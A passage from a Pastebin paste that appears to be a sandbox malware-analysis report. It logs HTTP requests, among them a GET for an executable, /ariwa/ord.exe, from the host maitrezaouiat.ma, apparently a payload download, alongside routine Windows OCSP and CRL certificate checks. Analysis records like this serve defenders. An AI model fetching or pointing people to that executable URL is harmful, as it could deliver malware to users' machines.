  1681. "data": "GET /ariwa/ord.exe HTTP/1.1\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\nHost: maitrezaouiat.ma\r\nConnection: Keep-Alive\r\n\r\n",
  1682. "port": 80
  1683.  
  1684.  
  1685. "count": 1,
  1686. "body": "",
  1687. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  1688. "user-agent": "Microsoft-CryptoAPI/6.1",
  1689. "method": "GET",
  1690. "host": "ocsp.digicert.com",
  1691. "version": "1.1",
  1692. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  1693. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  1694. "port": 80
  1695.  
  1696.  
  1697. "count": 1,
  1698. "body": "",
  1699. "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  1700. "user-agent": "Microsoft-CryptoAPI/6.1",
  1701. "method": "GET",
  1702. "host": "ocsp.msocsp.com",
  1703. "version": "1.1",
  1704. "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  1705. "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
  1706. "port": 80
  1707.  
  1708.  
  1709. "count": 2,
  1710. "body": "",
  1711. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  1712. "user-agent": "Microsoft-CryptoAPI/6.1",
  1713. "method": "GET",
  1714. "host": "crl.microsoft.com",
  1715. "version": "1.1",
  1716. "path": "/pki/crl/products/microsoftrootcert.crl",
  1717. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 07 Mar 2019 06:00:16 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  1718. "port": 80
  1719.  
  1720.  
  1721. "count": 1,
  1722. "body": "",
  1723. "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  1724. "user-agent": "Microsoft-CryptoAPI/6.1",
  1725. "method": "GET",
  1726. "host": "crl.microsoft.com",
  1727. "version": "1.1",
  1728. "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  1729. "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 14 Feb 2019 06:01:18 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  1730. "port": 80
  1731.  
  1732.  
  1733.  
  1734. * Network Communication - SMTP:
  1735.  
  1736. * Network Communication - Hosts:
  1737.  
  1738. * Network Communication - IRC:
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!